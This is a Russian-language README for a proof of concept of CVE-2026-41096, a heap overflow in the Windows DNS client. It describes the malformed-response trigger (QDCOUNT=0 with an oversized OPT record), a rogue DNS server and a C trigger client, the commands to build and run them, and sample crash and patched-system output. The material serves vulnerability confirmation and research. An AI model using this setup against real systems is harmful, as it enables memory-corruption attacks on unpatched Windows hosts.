
CVE-2026-41096: Переполнение кучи в DNS-клиенте Windows
Переполнение кучи в DnsRawTruncateMessageForUdp() (dnsapi.dll). Специально сформированный DNS-ответ с QDCOUNT=0 и большой OPT-записью вызывает переполнение кучи на 604 байта, когда логика усечения неверно вычисляет указатель назначения.
Рекомендация MSRC: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41096
| Файл | Описание |
|---|---|
rogue_dns_server.py | Мошеннический DNS-сервер (Python 3). Отвечает на каждый запрос ответом QDCOUNT=0 + OPT (623 байта). |
trigger_client.c | Клиент-триггер (C/Win32). Вызывает DnsQueryRaw, направленный на мошеннический сервер. Перехватывает сбой через SetUnhandledExceptionFilter. |
Атакующий (мошеннический сервер):
Жертва (клиент-триггер):
DnsQueryRaw)dnsapi.dll1. Запустите мошеннический сервер:
sudo python3 rogue_dns_server.py
2. Соберите и запустите клиент-триггер:
cl /W4 /O2 trigger_client.c /link ws2_32.lib
trigger_client.exe <ROGUE_DNS_IP>
3. (Необязательно) Включите Page Heap для детерминированного сбоя:
gflags /p /enable trigger_client.exe /full
trigger_client.exe <ROGUE_DNS_IP>
| Код | Значение |
|---|---|
| 0 | Система пропатчена (DNS_ERROR_BAD_PACKET возвращается штатно) |
| 1 | Ошибка (DnsQueryRaw не найдена, проблема с сетью и т. д.) |
| 2 | Обнаружен сбой (подтверждено переполнение кучи) |
Уязвимая система (Page Heap):
[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...
[!!] CRASH - Exception 0xC0000005 at 0x00007FFD1A2B4F20
[!!] WRITE at 0x000001A33C3B1000
[!!] CVE-2026-41096 CONFIRMED - heap overflow triggered.
Уязвимая система (без Page Heap):
[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...
[!!] CRASH - Exception 0xC0000374 at 0x00007FFD1B5DXXXX
[!!] CVE-2026-41096 CONFIRMED - heap overflow triggered.
Пропатченная система:
[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...
[+] Callback: queryStatus=0x251E
[+] DNS_ERROR_BAD_PACKET - system is PATCHED.